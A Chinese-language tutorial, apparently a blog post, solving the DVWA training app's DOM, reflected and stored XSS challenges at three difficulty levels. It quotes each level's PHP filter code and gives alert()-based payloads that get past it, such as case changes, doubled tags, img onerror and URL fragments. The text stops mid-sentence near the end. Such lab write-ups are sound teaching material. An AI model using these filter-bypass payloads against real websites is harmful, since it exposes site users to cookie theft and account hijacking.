XSS(DOM)
XSS 又稱CSS(Cross Site Scripting)或跨站腳本攻擊,攻擊者在網頁中插入由JavaScript編寫的惡意代碼,當用戶瀏覽被嵌入惡意代碼的網頁時,惡意代碼將會在用戶的瀏覽器上執行。
XSS攻擊可分為三種:分別為反射型(Reflected),存儲型(Stored)和DOM型。
反射型xss:只是簡單地把用戶輸入的數據反射給瀏覽器,簡單來說,黑客往往需要引誘用戶點擊一個惡意鏈接,才能攻擊成功。(經后端,不經數據庫)存儲型XSS:將用戶輸入的數據存儲在服務器端。用戶訪問了帶有xss得頁面代碼后,產生安全問題。(經后端和數據庫)DOM XSS:通過修改頁面的DOM節點形成的XSS。客戶端的腳本程序可以通過DOM動態地檢查和修改頁面內容,它不依賴于提交數據到服務器端,而從客戶端獲得DOM中的數據在本地執行,如果DOM中的數據沒有經過嚴格確認,就會產生DOM XSS漏洞。一般是瀏覽器前端代碼進行處理。(不經過后端,是基于文檔對象模型的一種漏洞,是通過url傳入參數去控制觸發的)
XSS危害
1.掛馬
2.盜取用戶Cookie。
3.DOS(拒絕服務)客戶端瀏覽器。
4.釣魚攻擊,高級的釣魚技巧。
5.刪除目標文章、惡意篡改數據、嫁禍。
6.劫持用戶Web行為,甚至進一步滲透內網。
7.爆發Web2.0蠕蟲。
8.蠕蟲式的DDoS攻擊。
9.蠕蟲式掛馬攻擊、刷廣告、刷瀏量、破壞網上數據
10.其它安全問題
LOW級別
<?php# No protections, anything goes?>
發現并沒有做任何過濾
點擊了select按鈕后,地址欄鏈接發生變化
構造xss語句,看到出現彈窗,代碼執行成功,說明存在xss漏洞。
<script>alert(/xss/)</script>
Medium級別
<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {$default = $_GET['default'];# Do not allow script tagsif (stripos ($default, "<script") !== false) {header ("location: ?default=English");exit;}
}?>
stripos() 函數查找字符串在另一字符串中第一次出現的位置。此處過濾了<script
嘗試使用img標簽
<img src=1 οnerrοr=alert("xss")>
發現頁面沒有變化
查看頁面代碼,發現我們構造的語句已經被插入到了value當中,不能成功執行的原因是select標簽中只允許內嵌option標簽,而option標簽是不能嵌套我們構造的img標簽的,因此我們需要先將前面的select標簽和option標簽都閉合后才能使用img標簽.
</select></option><img src=1 onerror=alert('xss');>
High級別
<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {# White list the allowable languagesswitch ($_GET['default']) {case "French":case "English":case "German":case "Spanish":# okbreak;default:header ("location: ?default=English");exit;}
}
?>
此處使用了白名單過濾,只允許 傳的 default值 為 French English German Spanish 其中一個
只能找方法繞過服務器端的處理,直接在本地運行我們構造的語句,可以過“#”來注釋掉后面的內容,因為URL欄中的“#”之后的內容不會被發送到服務器當中去,不會經過JS的過濾,只在客戶端顯示,可以直接與瀏覽器進行交互。
#<script>alert('xss');</script>
XSS(Reflect)反射型
<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}?>
LOW級別
發現沒有什么防御,直接<script>alert('xss');</script>
Medium級別
<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello {$name}</pre>";
}
?>
發現源碼過濾了<script>
,可以通過大寫字母,雙寫,輸入其他可執行彈窗的標簽等方法來實現攻擊.
如果用<script>alert('xss')</script>
會直接顯示alert(‘xss’)
//大寫
<Script>alert('xss')</script>//雙寫
<sc<script>ript>alert('xss')</script><img src=1 οnerrοr=alert('xss');>
High級別
<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello {$name}</pre>";
}
發現preg_replace 函數,是執行一個正則表達式的搜索和替換,直接將所有的<script>
無論大小寫都進行了過濾,但并未對其他標簽進行限制,所以我們繼續使用img等標簽來進xss利用。
<img src=1 onerror=alert('XSS')>
XSS(Stored)存儲型
LOW級別
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = stripslashes( $message );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitize name input$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?>
查看源代碼,發現使用mysqli_real_escape_string函數來對string中的特殊符號進行轉義處理,但并未對我們輸入的Name和Message進行xss的過濾。
因此我們只需要直接輸入JS代碼進行攻擊即可得到彈窗,攻擊成功。
在name輸入框中輸入<script>alert('xss')</script>
Medium級別
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = str_replace( '<script>', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?>
查看源代碼,發現將Message所有可能xss攻擊的標簽都進行了轉義或過濾,但對Name僅僅限制了<script>
的標簽,因此我們依舊可以在Name中使用大寫、雙寫、使用其他標簽等方法來進行注入。
<Script>alert(1)</script>
修改最大長度
Hign級別
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?>
- 查看代碼,發現在Medium的基礎上對Name的輸入進行了
<img src=1 onerror=alert('2');>